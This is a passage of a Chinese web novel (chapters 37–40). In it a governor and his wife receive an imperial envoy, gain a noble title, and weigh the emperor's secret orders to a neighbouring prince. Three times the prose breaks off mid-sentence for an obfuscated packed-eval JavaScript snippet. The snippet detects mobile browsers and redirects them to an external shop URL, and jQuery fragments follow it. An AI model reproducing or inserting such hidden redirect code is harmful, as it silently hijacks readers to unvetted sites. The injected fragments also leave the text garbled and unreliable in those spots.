启使代表的是皇帝,他不能在观东出事,或者说,不能让任何人知道启使在观东出事,否则不管刘氏反不反,朝廷都要治罪。 傅杭和杜川领命离开。 夏知霜一直在旁围观他决策,思索他这样做的原因,不经意间撞上他沉沉的目光时,她忽然顿悟了他下达那两个命令的原因。 倘若皇帝嘉奖他,那观东暂时维持现状,万事大吉。 倘若昏君清算他,那么外人不会得知启使踏上过观东的土地。 丰瑛郡到睢国的海陆单程要走八日,每次航行,海员都有被大海吞噬的隐患,水土不服加上波涛巨浪,启使在途中折陨再正常不过。 什么,你说圣旨? 没听过,不知道,没见过,巨浪都把大活人给卷走了,随身物件怎么可能还好好存留着。 简而言之,只要消息封锁得当,到时死无对证,反正他们总督署说没见过启使就是没见过。 夏知霜放了一半的心,原本她还担心刘宁会为了保全家族声誉而向启朝妥协,若朝廷要他们死,那刘宁可能会带她赴死。 老实说,她并不愿意这么窝囊的死去,定会想方设法劝刘宁。 现在确认刘宁不是那等愚忠的人,她便没有这个顾虑了。 左右他们有兵有粮,若皇帝不仁,他们索性真的反了,最坏也是兵败一死,好过死在昏君的随口一言。 夫妇二人默然相顾,明了了彼此的决心,交换了个心领神会的眼神。 鲁元出言:“敢问夫人,航队何时到港?” “只比信使慢两日,”夏知霜胸有成竹,保证道,“丁掌柜有七窍玲珑心,知道此事不能声张,航队知晓启使真实身份的人屈指可数。” 准确来说,仅有丁卯和信使知道内情,现在瑜记和刘氏一荣俱荣、一损俱损,瑜记绝不会把这个消息泄露出去。 况且航队靠岸后,瑜记的人该怎样行事,她早已遣人去指示丁卯了,确保万无一失。 众幕僚闻她所言,稍有慰藉。 旁人散去后,刘宁握住她微凉的手,轻声问:“害怕吗?” 如果事不如意,她会一起担上谋逆的罪名,假如不幸身故,可能会遭人泼尽脏水,背负莫须有的罪名,她积攒的美名将烟消云散。 夏知霜抬头撞上他的目光,无所谓地灿笑:“你在我身边,我何惧之有。” 她根本就不在乎那些身外虚名。 刘宁观她明媚的笑颜,心中的阴霾散去些许,情绪跟着亮堂了不少。 瑜记航队这边,丁卯为了稳住启使等人,使出了浑身解数。 启朝的使者是六大内监之一的宦官袁修,他以便掩人耳目,只带了三个小太监同行。 丁卯说是为了保他安全,忽悠袁修隐藏身份,劝他闭门不出,对外称两人是老友——袁老友因战乱而滞留在睢国,此次是带上子孙三人,搭瑜记的顺风船回乡探亲的。 既是大掌柜的私交友人,那大掌柜总是陪友人窝在船舱中,整天叙旧,几乎不露面,也就不奇怪了。 袁公公对这个安排没什么意见,他也深知各地的势力有自己的盘算,多的是不乐意朝廷和观东续上联系的人,尤其是那些个称王的逆臣,最见不得朝廷来人,个个恨不得要他的小命。 所以尽管船上吃着不合口的膳食,晕船晕个七荤八素,他也不敢耍半点大太监的派头,就怕航队里有反王安插进来的细作,夜里溜进来给他抹了脖子。 终于熬到船队靠岸,袁公公抬头挺胸,心想海上已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583206|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦了一路,这到了陆地上不得好好享受享受。 他正要亮出内监大太监的身份,并行使“奉使”的特权,众星捧月、风风光光的前往里兴。 孰知,等来的是几个护卫,以及一顶寒酸的小轿。 丁卯唉声叹气,好生解释:“公公有所不知啊,我们总督出了名的仁善,刑罚较之别处轻得多,以致细作猖獗,若想此行万无一失,还得委屈公公继续隐瞒身份。” 袁公公调查过刘总督的为人,确如对方所说。 他蔫了气势:“安全为主,那就这么着吧。” 瑜记商队低调去往墨同郡。 路上,袁公公从车窗仔细观察外面,心下吃惊不已。 途径的每一个大郡,每一座县城,俱都繁华不已。百姓安居乐业,衣食无忧,哪怕是偏远些的城镇,街上行人的衣着鲜少有补丁。 再看各个官邸和民众的屋舍,栉比鳞次,美轮美奂,竟与启朝的都城无异。 早就听闻观东富庶,没成想会富到这步田地,而且处处井然有序,可见刘总督管理四郡十分得当。 观东能自给自足,根本不需要外部助力就能过上好日子,这种不依赖朝廷,又久离朝廷的富地,当真愿意归顺朝廷么…… 袁公公顿觉不妙,他很快打住心绪,不再往下深思。 知道太多的人都活不长,他只是来传旨的,不是来找死的。刘氏是否真心归顺,这个问题自有朝中大臣去判断,他可管不着。 袁公公改为欣赏路上的风景,只是他们多走小道,他快被颠簸的土路摇散一把老骨头。 他生气地质问:“素闻你东家是总督夫人,你以公事为由,咱走一回官道都不成?” 官道平坦好走,还更节省路程。 “这个真不成!”丁卯一脸为难,“夫人训诫过我等,官是官,商是商,无规矩不成方圆嘛,哪有商人走官道的理儿?我们此前就没行过官道,要是这下突然从官道过,不更惹人怀疑了么?” 袁公公一想也是这么个道理,理解归理解,心中还是不大高兴。 丁卯睁眼说瞎话:“再者,夫人已是前东家,目今瑜记是鄙人的产业,鄙人就是吃了熊心豹子胆,也不敢坏了规矩啊。” 哪怕众所周知瑜记的背后是何人,瑜记上下的口径都是一直不承认。 袁公公初来乍到,哪知道底下的弯弯绕绕,听他这么说只好妥协了。 一番舟车劳顿,众人终于抵达了里兴。 袁公公大喜,寻思等会儿到驿站后好好洗漱一番,换上官衣蟒服,决计要体体面面的进总督署宣旨。 丁卯笑眯眯地说:“公公,总督和夫人得知您平安抵达,已稍作安排,小人这就送您过去。” 袁公公面露不快:“这怎么行?洒家是天使,自是要以官仪面见刘总督,你瞧瞧洒家这身乔装的粗衣麻布,如何能展现天威?” “是是是,”丁卯点头哈腰,“公公所言极是,这些夫人早有准备,您过去时总督和夫人立即回避,您先行洗洗风尘,驿馆总比不过府上周到与安全不是?” 袁公公震惊脸:“怎么,连里兴的驿馆都不安全?” 丁卯欲言又止,终是长长一叹,一切尽在不言中。 话已至此,袁公公哪里还能说“不”,不禁感慨唏嘘,观东竟被渗透至此,漏得跟筛子似的。 等平平无奇的小轿被抬进刘府,下轿走过两旁站列着正装的武官,袁公公瞅瞅武将们肃穆的神情,瞧瞧他们手中锋锐的刀剑,后背的冷汗就下来了。 ……怎么感觉有哪里不对劲呢? 38. 第 38 章 温汤香胰在前,万千思绪暂时隐而不发。 一通悠哉沐浴,换上熟悉的精致官服,袁公公哼着小曲儿去接婢女进奉的好茶,琢磨着待会儿刘总督是个什么态度。 揭开盖碗,清冽的茶香扑鼻而来。 真是碗好茶啊,品着一点不输宫中的各类贡茶…… 袁公公思绪飘飞,他这会儿身洁衣净,神清气爽,打结的脑筋跟着通畅了。 他猛然放下茶碗,顾不上继续喝了,挥手让伺候的人都退出去。 刹那间,袁公公忽然想通了隐隐浮现的违和感究竟是怎么一回事,他懊恼地轻拍脑门,明白过来自个儿被人给哄骗了。 好你个丁卯,好你个刘总督! 什么为了他的安全着想而低调赶路,全是诓人的胡话,他们一直在阻止他跟外人接触,切断他跟外界的联系! 联想适才那两排手持器刃的武将,袁公公后知后觉自己在鬼门关徘徊了一遭,流下了豆大的冷汗。 他无比坚信,倘若圣旨中的恩典不如观东人的意,他今日绝对是竖着进来,横着出去。 袁公公此前那么从容,全是倚仗“奉使”这层身份,他代表的是皇家,是当今圣上,刘总督不可能会明目张胆的对他动手,他确信到了里兴后,他此程便无虞了。 可现在,他不敢那么想了。 知道他身入观东的人寥寥无几,他们完全陷入了被动的局面。 若旨意对刘氏有利,他们性命无忧。 若旨意对刘氏有害,他们在劫难逃。 假使刘总督对圣旨上的内容不满,杀人灭口,毁尸灭迹,再宣称他们从未到过观东四郡,那可就死无对证,将观东摘溜个干净了。 “小六子,小栗子,小喜子?!”袁公公连忙呼唤自己的侍从。 守门的三个小太监鱼贯而入,为首的那个白面小太监应道:“干爹,儿子在这呢。” 袁公公从他怀中夺回锦盒,一面端量盒子,一面紧张问话:“没外人碰过吧?” 小六子拍着胸脯保证:“您放心,咱六只眼睛盯得死紧,没易过手。” 小栗子架不住好奇,纳闷问道:“公公,这里头究竟是什么?这都到地方了,总可以说了吧。” 他们一行人秘密出京,偷偷潜入睢国,再跟随瑜记商队悄悄到观东,他们几个只知道盒子里是要紧的东西,是何物没人言明过。 按说是个聪明人都能猜到是什么,袁公公没料到自己挑选跟来的人里有个榆木脑袋,他拍拍盒顶,语气铿锵:“宝贝!”,再没好气地狠戳小栗子的脑门,“能要咱命的宝贝!” 小栗子被推得趔趄,站稳后懵懂挠头,显然还不太明白,小喜子忙扯扯他的衣袖,示意他别再触霉头了。 袁公公愁肠百结,抱着锦盒在屋中来回踱步。 他只知道盒里圣旨,是个什么旨意他也不知道啊,就好似头上悬着刀斧,会不会铡下、何时铡下,都没个准信儿。 唉,愁人! 小六子不知道怎么替他分忧,只好伸手:“爹,那物重,我替您端着吧。” 区区木盒能有小命重吗,袁公公头都不抬,烦躁挥手:“去去去,容我静静。” 小太监们面面相觑,噤若寒蝉,默默看他无头苍蝇般转来转去。 苦思了小半个时辰,有人前来敲门,袁公公心惊肉跳,如临大敌。 傅杭自报是刘总督的下属,代替总督前来询问公公沐浴得怎么样,有没有哪里不周到的地方。 袁公公强颜欢笑,回应说哪哪都好,贵府费心了云云。 傅杭恭敬的表示他就候在门外,公公若有什么需求直说即可,他一定尽心去办。 袁公公回了声“好”,旋即苦笑不已,这哪里来伺候的,分明是来催人的。 再纠结,圣旨还是要宣的。 箭在弦上,他也不能再计较被抬进的是刘府,而非原计划中的总督署了。 袁公公丧气摆手:“走着吧。” 小太监们急忙跟上,可能是猜到了他们的小命跟盒子里的东西有关,心情也变得沉重。 双方见礼过后,傅杭在袁公公身旁引路,几个小的步步紧跟。 穿过长长的回廊,五步一景的中庭,又回到了武将列队的来路。 武人多数魁梧,端容肃穆时显得凶煞,那低垂看来的视线锐利森冷,仿若含着无形的杀气。 袁公公硬着头皮走在中间的过道上,小六子等人也感受到了强烈的压迫感,艰难咽了咽口水。 说来丢人,身为宫廷六大内监之一,他袁修走到哪都是被人捧着、奉承着,每逢到百官府邸传旨,哪个不上赶着巴结他,他何时受过这种冷遇。 按照正常流程,难道不是刘总督前来拜见他么?他目下巴巴地跑去见人,岂非有堕君威? 但人在屋檐下,袁公公只敢腹诽几句,不敢明着计较了,提速穿梭过武将围住的路。 疾步到正厅,瞥见有一群人在恭候了。 走近了望去,只见一双玉人并肩而立,男方锦衣青袍,温润清隽,琼林玉树般的人物;女方茜色罗裙,姣丽无双,千娇百媚的婀娜佳人。 袁公公在掖庭见过太多绝色人物,初见这对璧人时,仍然眼前一亮,放缓了步调。 夏知霜和刘宁等候多时了,见面白无须的中年男子徐徐走来,两人默契的一同前迎两步。 “观东四郡总督刘宁,见过袁公公。” “妾身刘宁之妻夏氏,见过袁公公。” 袁公公哪里敢拿乔,亲切笑道:“刘大人,夏夫人,多礼了。若非皇命在身,该洒家给二位请礼才是。” 夫妇二人碰了个眼神,刘宁摆手,含笑道:“公公客气了,请进。” 袁公公颔首,随他进到堂屋内,一边还好声好气的跟他说明来意。 夏知霜观察了一会了,心道这位公公没有丁卯说的那么难伺候,想来对方在沐浴的那个时辰里,已经很清楚自身微妙的处境了。 进到里屋时,双方寒暄完毕,袁公公见香案都摆上了,便不再赘言,从锦盒中取出圣旨,高声唱念。 “奉天承运,皇帝诏曰,观东总督刘宁玉洁松贞,昃食宵衣……” 圣意很长,夏知霜和刘宁并排行跪礼,每一个字都仔细聆听,生怕错漏任何一个关键字眼。 她到底没经过这种场面,心慌难安。 衣袖微动,刘宁在广袖底下悄然握紧她的手,无声的安抚她。 夏知霜定了定神,稍稍回握他的手,示意她心绪已平,无论发生什么事,她都会陪着他一起。 屋外,以段敖为首的武将也乌泱泱跪一地,他们离得稍远,听不清里头究竟在说什么。 他们握紧双拳,在寒风中等一个信号,一个圣旨可能会掷地,桌椅也许会被劈成两半的信号。 “……厚德载物,今敕封为观东侯,望励精图治,造福四郡黎民,钦此!” 话音落地,室内鸦雀无声,一场无形的硝烟顿时消弭。 刘宁深深叩拜:“臣,谢主隆恩。” 袁公公庆幸捡回一条小命,颤着手把圣旨交付出去,头一回真诚实意的对一个受封的官员道贺:“恭喜侯爷,贺喜侯爷。” “多谢公公。”刘宁喜气浮面。 今天起,他这个总督之位就过了明路,成了正儿八经的朝廷命官,不再被人诟病是“父终子继”的野路子。 夏知霜递过去一个鼓囊囊的荷包,笑说:“公公一路辛苦,喝杯茶歇歇脚吧。” 袁公公没客气,接过来时略捏一捏,满意地摸到一沓银票的手感,笑眯眯:“夫人客气了,本该留下讨一杯喜庆的美酒,奈何诸事加身,不便多留。” 刘宁余光扫过小太监仍紧抱不放的锦盒,若无其事的接话:“公公可是还要到淇南去传旨?” 袁公公笑意微僵,他就知道此事瞒不过混迹官场的老油子,不过毕竟是奉命秘密行事,不好直接承认。 他随口胡诌:“洒家在淇南有个远亲,趁此良机,前去探望亲戚。” 他进观东正是以探亲的名义,言外之意,他到淇南亦是去传达圣意。 刘宁唇角含笑:“观淇九地亲似一家,公公既到淇南去,我理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586431|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应派人送公公一程。” 袁公公感激道:“有劳了。” 待背过身去,他不禁苦下脸来。 皇帝要他分别秘密进观东和淇南,等到了这里才发现,实在秘密不起来。 那睢国只放行了瑜记的航队,他要想平安回归朝廷,还需仰赖瑜记的船只,瑜记和总督署是一家,他的行程如何能瞒得过里兴。 唉,真真歹势。 小喜子低声问:“公公,咱屁股都没坐热,这就要走了么?” 袁公公狠拍这兔崽子的脑袋,轻叱:“还想阎王爷留你饭不成。” 小六子机灵些,察觉到他们几个今儿死里逃生了,给他俩打了个眼色,小喜子和小栗子闷头走路,不敢说话了。 很快,马车和干粮备齐,杜川过来请见,护送他们启程。 坐上了马车,袁公公惊魂未定,才发觉后背的衣衫都汗湿了。 车轮滚动,他长吁一口气,先离开这个鬼地方再说。 袁公公哪里想得到,他是刚出狼窝又入虎口。 淇南还有个更难伺候的祖宗在等着他,比起礼遇有加的刘府,那边的平王府才是真正的龙潭虎穴。 目送影阁重重保护的马车驶离府邸,夏知霜忧心忡忡:“皇帝给平王下的旨意,定与观东相关。” 不然袁公公可以直接说要去淇南宣旨,何需躲躲藏藏,他被当面戳穿后,还是以探亲作为借口,可见要么被皇帝要求保密,要么知道给平王的圣旨上有对观东不利的内容。 只有事关观东,才需避讳观东。 刘宁同样料到了,对她道:“我去修书一份,探探阿潮的底。” “嗳!”夏知霜叫住他,装模作样福身,“恭贺督宪大人封爵,妾身给观东侯道喜了。” 刘宁一下子被她促狭的样子逗乐,目中的郁色散了少许,修长的两指夹住她的鼻梁,回敬她的作怪:“我的侯夫人,同喜同喜了。” 说罢,他很有经验地跳开一段距离,笑吟吟地回望她。 夏知霜的粉拳果然打空了,她捂着被捏得有点疼的地方,没好气横了他一眼,然后自己也没忍住笑了。 笑闹之后,夫妻俩分头忙事。 夏知霜路过武将们聚集的地方,登时被魁梧壮汉们团团围住。 他们经人告知,说是危机解除了,但个中缘由完全不清楚。 “敢问夫人,那鳖孙干嘛来了?” “是啊,麻烦夫人给大伙解解惑,朝廷的人究竟来做甚。” “若那些阉人有不敬主君和夫人的地方,我老吴定叫他吃不了兜着走!” 武将们七嘴八舌,逮着她都想问个明白。 夏知霜平时很少有机会跟这些外臣接触,见他们急得不得了,耐心地转述宣旨过程中的细节。 武将们一时高兴自家主君封爵,一时遗憾不能手刃启使。 若那皇帝老儿不识相,下旨讨伐他们主君,他们今天就拿启使祭旗,然后拥立新王。 夏知霜看他们对造反没有任何心理负担,心情略微复杂,不知是该高兴他们气魄过人,还是该担心他们胆大妄为了。 她笑道:“今晚府中设宴,还请诸位将军入席。” 封爵是大事,该祭告祖宗,再大肆庆祝一番,以示畏威怀德。 武将们听说有酒喝,哪里会推迟,纷纷应好。 当夜,刘府换了新的匾额,新晋的侯府灯火通明,鼓乐齐鸣。 民间亦是载歌载舞,奔走相庆,祝贺他们总督封爵的好日子。 夏知霜迎来送往,好不忙碌。 许英慈还在静养,不能前来赴宴,她特意叫人送一桌席面过去,叫人在瓦罐底下放烧红的木炭,保准膳食送进许家时还是热乎的。 用膳时终于稍稍得闲,她抬眸四顾,注意到两个人的情绪不太对。 一个是鲁元,他自斟自饮,很少开口,不太融入进热闹的宴席中。 一个是宴会的主角刘宁,他虽言笑晏晏,对敬酒来者不拒,可他的笑意未达眼底。 这一宿,刘宁彻夜未眠,证实了她的猜测。 39. 第 39 章 夏知霜没睡踏实,被五更的敲锣声吵醒,迷迷糊糊地翻身想投入温暖的怀抱,谁想扑了个空。 她惺忪望去,见刘宁只着单薄的寝衣站在窗前,任凭寒风灌面,望着天际的弦月出神。 这个人又要把夜给熬穿了。 夏知霜无声叹息,趿着鞋子拾起大氅,漫步到他身旁。 他有所察觉,偏头温声哄劝:“你且先睡,不用顾及我。” “我梦魇了,睡也睡不好,”夏知霜踮脚,替他披上大氅御寒,“今日那么劳累,你竟也睡不成?” 刘宁伸手把她往怀中带,氅衣一同裹住她娇小的身子,没有隐瞒:“正是今天这样的日子,我才睡不成。” “嗯?”夏知霜在他怀中侧头回望,面露不解。 刘宁看向漆黑的夜空,梦呓般低喃:“这个爵位,本该是父亲的,是大哥的。” 他父亲一生忠于朝廷,至死不肯谋反,三个出色的同胞兄长也在正名之战中相继阵亡。 而他是家中幼子,在所有人的宠爱中成长,纵情声乐,醉心诗词,没被当做继任者培养过一天。 对于从他出生起就断联的启国朝廷,在他心中只是个模糊的印象,比起整天忙碌于政务的父兄,他没有那么执着于“忠君报国”。 最该得到爵位的人至死都没能得到,轻易得到的人却淡泊名利,何其讽刺。 刘宁难得提起逝去的亲人,夏知霜沉默听着,她清楚那是他心底最不能触碰的伤口,也是日渐腐烂,无法释怀的创伤。 她不知道该怎么安慰,他也不需要安慰。 刘宁径自往下说:“我时常惶恐,生怕哪点做不好,父兄们托梦责骂我,更怕观东基业毁于我手,害得四郡生灵涂炭。” 他能坐稳总督之位,背后有太多人助力,甚至有人用血肉白骨给他铺路。 刘宁沉声问:“你可还记得我跟你提过的甘夫子?” 夏知霜细细回忆:“是那位在公公麾下长达三十年,授你启蒙的老师,在叛军作乱时,被张阔用一万两黄金收买,潜伏在乌衣甲营帐的奸细?” 刘宁:“没错,正是此人。” 甘达的子嗣早夭,便待他视如己出,他亦对老师孺慕崇敬。 千丝台查出甘达奸细的身份并确认无误后,他失望、哀恸和愤懑,众目睽睽中,他按照军法,下令处死奸细。 甘达没有辩解,没有求饶,闭口不谈缘何叛变,坦然赴死。 这是刘宁在陈家山庄对她说过的事件,然而,那只是故事的前半段。 “事后我收到一封信,知晓了老师的良苦用心。” 甘达的绝笔信中,批评他天性赤子仁心,难堪重任,不值当托付毕生所学,遗憾刘家偏偏就剩下这么一个宽厚仁慈的骨血,难以让万千将士的身家性命放心地押注到他身上。 可此信若能传到刘宁手中,说明他“奸细”的身份败露,被下令处死了。能果断摒却旧情,依律处死曾经最信赖的恩师,甘达断言刘宁已然有所成长,赤诚不失智睿,温和不失刚毅,良善不失果决,乱世中有蜕变为枭雄的潜质,余下部从可放心追随。 最后甘达在信尾解释,他只是假意投靠叛军,很多事都是真正的奸细做的,跟他无关,他没有真的背叛刘氏,最后告诫刘宁务必揪出所有奸细,及时止损。 刘宁难以形容阅览信件时的震撼。 确如甘达所言,他温和宽厚的性子人尽皆知,汇聚在他身边的部将多半是顾念老总督的情谊,心里并不完全信服他。 一个不谙世事的稚子,如何能统领几十万大军,掌管好偌大的四郡疆域?几乎人人都有这个顾虑。 长久下去,将帅离心,恐生变故,不服他的将领会学张阔等人反叛,到时他要攻打至少两路叛军,刘氏就难以存活了。 甘达用自己的鲜血,向世人证明了虎父无犬子,观东的新主君并不软弱。 正是因为这封绝笔书,打消了部将的疑虑,凝聚了军心。 乌衣甲能势如破竹,仅两三年就尽数收复失地,离不开甘达的求死成仁。 夏知霜怔然,没想到那段往事的背后,还深藏着令人唏嘘的悲意。 刘宁看着茫茫夜色:“我亏欠老师和陶家良多。”武将死战,智者死谋,他们用不同的方式推着他成就大业。 他语气极轻,神情平静如往昔。 夏知霜能感受到那平淡假面下的惊涛骇浪,以及不断翻涌的痛楚。 一个不被寄予厚望的幼子,本该是寄情山水的文人,被迫放下笔杆和乐器,转而拾起屠刀,过上手染鲜血的生活。 刘宁坐上了本不属于他的位置,背负着很多为他牺牲的人命,承担着无数民众的希望。 他必须做个好总督,干出一番丰功伟绩,方对得起为他抛头颅、洒热血的部从,无愧于祠堂中密密麻麻的排位。 可想而知,他肩上的担子重似千斤,因此惶惶难安,不停自省,生怕行差踏错,如履薄冰。 若是被旁人得知堂堂四郡的总督,新晋的观东侯,因忧虑而患上少眠的病症,不知道会有多少人笑话他自苦。 但夏知霜无比理解他。 死于非命的刘氏族人,愿意为他牺牲的那些英雄,共同的遗愿都是希望他好好统辖观东。 正因他是个善良的人,才会记牢牢记挂为他牺牲之人,把他们的死因归咎到自己身上。因为他负有责任感,故而常常担心治理四郡时有些不足,害怕辜负了那么多为他铺路至此的英烈。 唯有好人会自苦,歹人根本不在乎旁人死活。 世上受苦受难的,恰恰是好人居多,就是这么没道理。 夏知霜反身抱紧他精壮的腰身,软语宽慰:“现在四郡丰衣足食,还得到了朝廷的认可,他们在天上看到观东如今的情形,定会非常欣慰。” 刘宁低低地“嗯”了一声,下颌依恋地贴着她发顶,接着道:“战后原是民生凋敝,是你筹款差人修了好些路,开设粥铺布施流离失所的民众,收容弱小到瑜记店铺去做事。百姓能那么快安身立命,离不开你的功劳。” 夏知霜没想到他居然知道她曾做的那些事,把自己更深地埋进他胸怀:“我也没做什么,都是些不值一提的小事,你如数家珍,我反倒不好意思了。” 对她来说,那些确实是举手之劳。 他们商人要闯荡四方,路好走能节省很多时间,她那时一边忙着婚事,一边叫人修路以便出行,很多还是以前本来就有,但被战火毁掉的路段,重修不费什么钱。 路修好后百姓跟着通行,该去探亲的探亲,该去采买紧缺物资的就去采买,倒给官府省了很多功夫,官府由此腾出手去做别个有利民生的事,算是一箭三雕的好事。 至于布施,她自己饿过两年肚子,着实是看不得别人也忍饥挨饿,反正米铺有去年积压的陈米,就叫人开仓放粮了。 收容难民是因为她接手陈记那会儿大刀阔斧,裁了很多不听话的人,正好需要大量伙计填补。难民吃尽了苦头,随时会在颠沛流离中丧命,能在瑜记讨份差事等同天上掉馅饼,他们比原来的伙计更听话,更卖力干活。 夏知霜仗义疏财做的那些“小事”,阴差阳错地解决了衙门头疼的几大难题。 虽然她本人不觉得自己做的事有什么了不起,刘宁依然很感激她的善举,黎民也感念她的好意。 “夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645603|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐善好施,菩萨心肠。娶妻如此,为夫足矣。”刘宁轻轻啄吻她如绸如缎的墨发。 夏知霜脸蛋通红,成婚三个月了,她还是会在他小意温柔之时感到娇羞。 不过说到修路,她的心绪飞到招贤榜上,跟他分享近来努力的战果。 “自从廖老伯和单婶子打了样,来报名的人变多了,不乏赫赫有名的贤才,我让傅杭留了他们的单子,改明儿你得闲了,随我去聚贤庄看看吧。” “嗯,好。” 夏知霜说到了兴头上,列数都有哪些人名人前来自荐。 刘宁静静聆听,观她眉飞色舞的模样,低靡的心情慢慢转好起来,对启朝抱有的更深层的忧虑也暂时深埋进心底。 冬夜的寒风刺骨,小夫妻在这方小天地里相拥温存,热乎的两颗心越靠越近。 天光大亮,彩玉递了请见牌子。 最近彩玉在忙物色夏知霜随侍的人选,校验过人品,查清过底细,调''教好了规矩,今日就把人领进侯府了。 彩玉一一介绍四个女孩子的根底。 齐刘海的少女叫月兰,生着秀丽的瓜子脸,看起来乖巧可人,颇通文墨,适宜书房伺候。 皮肤格外白皙的少女唤月荷,面相透着机灵劲,是个很容易讨人喜欢的小姑娘,精通梳髻点妆。 眼睛很好看的少女名唤月樱,声如黄鹂,绣艺出众,凡是见过的花草鸟秀,没有她绣不出来的图案。 圆圆脸蛋的少女名为月梅,沉稳寡言,老实巴交,胜在技艺繁多,识文断字,女工针线等都会,就是各项技艺没有另外专精的三人好。 四个小姑娘照彩玉的指示,紧张又激动地行跪拜礼。 夏知霜手拿四张死契,最小的那个年芳十二,最大的才十四岁,身量尚未足够长开。 有种雇佣童工的罪恶感,好在跟着她不需要干什么重活。 “我眼里揉不得沙子,跟着我的人必须忠心不二,若被我发现怀有二心,我必不轻饶。” 夏知霜来回扫视她们,问过一遍。 “你们若愿意跟着我,便就此留下,若想另择明主,去账房赏一个月的月银,自行离去。” 四个丫鬟马上磕头:“奴婢愿终身侍候夫人。”都是为奴为婢,自当是留在侯府最好,其他人都削尖了脑袋想进来,她们岂愿离去。 夏知霜满意一笑,指着月梅对彩玉说:“这丫头就留在你身边吧,有事好互相派遣,你省得再找别人了。” 彩玉笑言:“你体贴我,我就却之不恭了。” 月梅对夏知霜行了一礼,站回彩玉身后。 用过午饭,彩玉带着月梅回瑜记商行办公。 初来乍到的三个小丫头使出浑身解数伺候主子,随后她发现她们都身怀数技,本来不怎么情愿要贴身侍婢的夏知霜,没能逃过真香定律。 月兰捧着账本念给她听,她要修改哪处,或是写什么信件送出去,月兰一律代笔,她会算账,且字迹娟秀,写得又快又工整。 月樱给她做贴身里衣,唱着动人的小曲儿,那优美空灵的歌声宛如仙音,听得她如痴如醉。 月荷会推拿按摩,在她躺着休息的时候,给她按得舒服极了,她若起身,月荷就给她梳漂亮的发髻,点漂亮的妆面,搭配和头面相衬的漂亮裙子。 这惬意的小日子,做神仙都不换啊~ 奈何她空有享乐的条件,没有享福的时间。 随着淇南给刘宁寄来的回信,观东的边防布局发生变动,许英慈和聂桓的婚事受了影响。 夏知霜一直在给他俩的婚礼做帮手,不得不跟着忙起来。 同时,一个意料之外的人前来求见她。 40. 第 40 章 淇南那边回信的内容很微妙。 刘宁修书过去,明面上是给友邦分享朝廷给他封爵的消息,实则是想探知袁公公到淇南去宣读什么旨意。 以微生湘的聪明才智,不可能猜不出刘宁的真实意图。 尽管如此,微生湘回信说,皇帝给他的旨意是要观淇九地互相扶持、携手共进,再没别的指示。 且不论这个“合家欢”的旨意合不合理,观淇九地本就和睦相处了,如果皇帝只是下达这类画蛇添足的旨意,展示一下皇家威严,袁公公何需掩人耳目,哪怕被他们拆穿也要找其他借口偷偷摸摸的去平王府? 诡异古怪,一定有诈。 皇帝绝对是给微生湘下达了关乎刘氏一族兴衰的旨意,其内容极有可能大大不利于刘氏,才需袁公公遮遮掩掩,微生湘才会含糊其辞。 观东和淇南同是朝廷的飞地,可对皇帝而言,比起外姓人,自然是同属宗亲的平王府更可信。 如果皇帝还是不信任刘宁会真心归顺朝廷,从而要求微生湘伺机夺走观东四郡呢? 一想到会有会这种可能,刘宁就不得不防。 他和鲁元商议过后,要求本该这几日回里兴成婚的聂桓继续驻守梓渊关,防备蠢蠢欲动的高淙,下令戍守在观东与中熙边境的许睿不得离岗。 所以作为准新郎官,聂桓不能按期赶回里兴成亲,身为新娘唯一直系亲属的许睿,不能回乡参加宝贝妹妹的婚礼。 丰瑛郡的梓渊关,台开郡的厄崖堡,这两个地方一贯是观东边防的重点,特殊时期下,作为防守大将的聂桓和许睿只能忠于职守。 此外,刘宁打算在石答郡的边境线驻军。 石答郡左邻淇南,下接小国“宝兴”,淇南是友邻,宝兴国自知国小力微,向来安分守己,只图太平度日,因此观东只派了一支军队防守。 今番,观东以收到宝兴国想要吞并石答郡之剌州的密报为由,集结五万大军,欲往剌州戍守。 剌州是个重要的地理位置,距宝兴和淇南都不远。 宝兴国听到风声后,上至国君,下至百姓,全都傻眼了。 啊?他们区区弹丸之地,国土面积不到石答郡的一半大,人口加起来还没有你石答郡人数的三分之一。如此撮尔小国,要进攻观东四郡这个庞然大物,岂非以卵击石? 宝兴的国君震惊过后就是否认三连,他没有这个野心,宝兴没有这个能力,更不可能会进攻剌州。 他连忙去信到观东,无比诚恳的表示,他们宝兴当真只想偏居一隅过安稳的小日子,恨不得观东想不起他们宝兴,怎会痴心妄想进攻剌州呢,那不是自取灭亡么?! 当然,在千丝台的拦截下,宝兴国君的信没能传递出宝兴。 观东没收到信,自当有理有据的继续调兵遣将。 密信三番两次被拦截后,宝兴国君悟了,观东只是凭借堤防宝兴的名义往剌州派军,真正防备的是另一边。 